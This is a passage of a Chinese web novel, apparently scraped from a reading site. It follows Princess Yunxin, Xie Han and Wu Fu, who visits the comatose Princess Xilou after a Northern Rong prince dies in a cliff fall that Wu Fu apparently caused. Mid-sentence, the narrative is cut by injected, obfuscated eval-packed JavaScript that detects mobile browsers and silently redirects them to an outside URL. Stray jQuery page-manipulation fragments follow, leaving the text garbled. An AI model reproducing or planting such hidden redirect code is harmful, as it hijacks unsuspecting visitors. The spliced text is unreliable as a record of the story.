“你的计划是什么?”
当天夜里,谢寒被云心的侍女唤出来,出了营帐,与云心会合,然后二人悄摸往北戎的营帐方向溜去。
听谢寒如此问,云心道:“很简单,我让侍女去北戎营帐找七王子,就说我想与他一同赏月,让他只身过来,不许带下人。然后我们藏在树后,等他来了找不到我们、满头雾水时,你就从树后冲出去,把麻袋套在他身上,狠狠揍他一顿!”
谢寒:……
“告辞。”
如此儿戏的计划,谢寒听了无语,拱手转身表示不想参与。见谢寒要走,云心连忙拉住他的胳膊,“你答应我了,大丈夫一言既出驷马难追,怎么能半途而废!”
谢寒的胳膊被云心拉住,少女抬头怒视着他,指责他的逃兵行为,月光下,她的眼睛亮晶晶的、身上的香气扑鼻而来。
谢寒心里莫名一跳,好像望见林间一只小鹿。
他别扭地偏开眼,“你好歹来点没有破绽的计划。你的侍女把七王子叫过来,然后他挨了一顿揍,你觉得七王子是傻子吗,猜不到是你叫人动的手?”
云心闻言,鼓了鼓腮帮子,“……”
谢寒:“……”
他扶额长叹。这个公主真是天真娇憨,令他头疼。
却又令他莫名觉得可爱。
计划告破,云心垂头丧气,愁眉苦脸。
谢寒见她这样,想安慰几句,却忽听前方传来脚步声。习武之人感官过人,那脚步声轻巧,却躲不过他的耳朵。
“谁!”
云心见谢寒忽然警惕起来,也抬头望去。
黑暗中,因谢寒忽然出声,那人影像是顿住了。片刻后,那融于黑暗的人影继续向前走。
谢寒伸手将云心护在身后,右手摸向腰间短刀,时刻警惕。
“是我,吴覆。”
那人影走近了,主动开口,他的身影也在月光下被照了出来,黑衣黑发黑瞳,但与以前不一样的是,今夜他的面色格外苍白,那双墨色的瞳孔里,红血丝格外明显,像是数日未睡。
相比前几天见他,他好像瘦削了几分,侧脸锋利如刀,眉眼郁郁杀意。
他好像从黑暗中走出的一只厉鬼。
云心被吴覆的样子吓了一跳,不由得伸手抓紧了谢寒后背的衣裳,然后才反应过来谢寒还在身前护着她。和谢寒在一起,她好像不是很怕了。
她便问,“吴覆,你怎么在这里?”
西楼姐姐与吴覆好像私下关系不错,这几天姐姐昏迷,吴覆多次想要探望,但这种兵荒马乱的时候,谁会去管吴覆这个人,又不是什么重要人物,他的要求自然被忽略了。
吴覆答:“赏月。”
然后问:“云心公主和谢小将军怎么在这里?”
云心被问得哑口无言,她不会撒谎,但总不能回答是来揍七王子的吧。
倒是谢寒替她回答了,“也赏月。”
“嗯。”吴覆无意义地应了一声,忽看向云心公主,“我有一事想求公主。”
云心问:“何事?”
吴覆的嗓子微哑,似压下无数翻涌情绪,“听闻西楼公主身体有恙。”
“吴覆请求……让我探望她。”
……
次日。
一个令人震惊的消息传遍了北戎与楼国的营帐。
北戎的七王子昨夜死了。
这个消息传到云心耳中的时候,她正在带着吴覆往西楼公主的营帐中走。
她叮嘱道:“你是外男,按理说不能进姐姐营帐的。但我念及姐姐似乎对你颇为照顾,若是你来探望,说不定对姐姐的失魂之症有帮助,所以才破格允准的。你不许乱看乱碰,探望之事也不可对旁人说起,听到了吗?”
吴覆没有任何不满,只是应“是”。
只要能让他看她一眼,什么要求都可以接受。
然后他跟在云心公主的身后,往楼月的营帐中走去。
就是这时,云心的侍女连忙跑来,喘着气对云心道:“公主,国君这会儿心情不好,请您过去呢。”
楼国国君因沉迷酒色,身体日渐衰弱,情绪稍不稳定,心口便有喘不上气的沉重感。每每是云心在旁劝慰,才能让国君渐渐好起来。
因此只要国君心情不好,云心公主便要随侍在侧。
云心忙问:“父王怎么了?”
侍女道:“说是,说是北戎的七王子昨夜忽然丧命,国君听了这个消息,牵动了心神。”
七王子昨夜丧命!
云心大惊。昨夜她还和谢寒筹划着要痛揍七王子一顿,怎么他竟忽然丧命了。
而且,七王子怎么丧命的?被杀?还是病重?
云心将吴覆交给侍女,自己则匆匆离开了。
七王子是怎么丧命的呢?
墨色的宽袖之中,吴覆的右手轻轻攥起。
他比任何人都清楚,比任何人都最早知道七王子的死因。
他是坠崖而死的。
他墨色的眼瞳中,杀意似刀尖上的寒光,一闪而过。
吴覆被侍女带去了西楼公主的营帐外,侍女唤出秉烛来,解释了一番这是云心公主的安排,然后便离开了。
秉烛看了吴覆一眼,她点了点头,让吴覆进来。
公主对吴覆不一般,或许……或许吴覆来探望,真的能唤醒公主吧。哪怕外男擅入公主营帐实在不妥,但秉烛也顾不上了。
一进帐篷,吴覆的目光便没有从床上离开过。
她极安静地躺在床上,面色平静,呼吸平稳,若从表面上看,看不出一丝异常,根本不像是生病了,好似只是陷入了熟睡。
但这熟睡何时是尽头?
一个人不吃不喝,只是熟睡,能坚持多久无恙?
吴覆不由自主地走到她床边,想要再靠近些看看她的脸,但秉烛拦住了他,“男女有别,你进公主的帐篷,已是极不合规矩了,若是再近,我可真无法交待了。”
“好。”吴覆听见自己说,他不能再近,他不过一个身份尴尬的灭国皇子,他无权无势,没有任何资格能靠近她。
于是吴覆驻足,在离床几步外的地方站定,只有视线能穿透这些阻碍,沉默地落在她身上。
她的面容非常平静,安静地合着眼,好像在熟睡。
西楼公主的面庞美丽,但那张脸没有任何能吸引吴覆的地方。他的目光落在她的双眼上。
那双灵动的眼睛被眼皮覆盖,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235118|166047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不到了。
吴覆不知道她叫什么、不知道她的经历、不知道她的长相。唯一能窥见她真正的时候,是偶尔从那双灵动而黑亮的眼眸中。
但现在,那双眼睛闭上。
他除了能看到西楼公主的躯壳外,感受不到任何与她有关的地方。
明明是在空旷的平野上,透过头顶的帐篷上面是天,透过脚下的毡布下面是地,薄薄的帐篷外面就是无边无际的旷野与风。是自由的。
但吴覆觉得自己好像重新回到了寒柳院中,通向外界的厚重的大门紧闭着,死寂的寒柳院中,只有他一个人。
那双眼睛像一扇门、像一扇窗,他以往能通过那扇门那扇窗窥到丰富多彩的世界。现在那双眼睛闭着,他与真正的她唯一的联系断开了。
吴覆觉得自己像是被抛弃在寒柳院中,无人看他、无人问他。
他感到恐惧。
如果她不再醒来呢?
他有许多话想说,但秉烛守在这里,他一句话都说不出来。
失魂之症……她的灵魂去哪里了?
吴覆这几天揣测了许多可能性,唯一有可能的,是那天月光下她问他:“如果有件事不想去做、但不做会遭受惩罚,那你会怎么办?”
彼时她面容中忧心忡忡,显然那绝不是一句随口兴起的话,而是她真的在遇到难题。而他帮不了她。
所以……她现在是因拒绝去做某件事,遭受了惩罚吗?
这到底是一种什么样的惩罚?近乎鬼神之力。
这种惩罚的力量,与她莫名进入西楼公主躯壳中的力量,是同一种力量吗?
她以西楼公主的身份生活,这是她需要付出的代价吗?
吴覆思索许多,最终认定自己的揣测接近真相。
“所以你说,我帮不了你,是这个意思吗?”自入帐篷以来,这是吴覆说的第一句话。
秉烛守在楼月的床边,吴覆这句没头没尾的话让她觉得莫名其妙。但她少言少问,只当没有听到。
吴覆想,他确实帮不了她。他太弱小了。
“七王子死了。”这是吴覆说的第二句话。
这话让守在床边的秉烛忽然一惊,她一直在帐中照顾公主病体,几乎要与外界隔离,尽管这个令人震惊的消息今天早上传遍了北戎与楼国的营帐,但她确实刚刚从吴覆口中知道。
七王子死了?秉烛惊讶不已,都说西楼公主昏迷,似乎是因那日与七王子起了争执、坠下了马。但国君却不追究。秉烛也愤愤不已,希望国君惩罚七王子。没想到七王子竟莫名死了!
吴覆看着床上的楼月,心想,七王子昨夜死了,死因是坠崖而亡。五天前二位公主前往断崖处赏景,归程时楼月遇上七王子,然后坠马昏迷,至今不醒。
虽说……根据吴覆的猜测,她昏迷不醒应当是某种几近鬼神之力的惩罚,应不是七王子导致的。说实话,这位欺男霸女、恶性满满的七王子做了许多坏事,但唯独这件事,应当不是他的错。
但是,吴覆不在乎了。
或许她的现状不是七王子造成的,但吴覆已经不在乎了。
七王子点名要娶她,这就是他最大的错误。
所以他于昨夜坠崖而亡。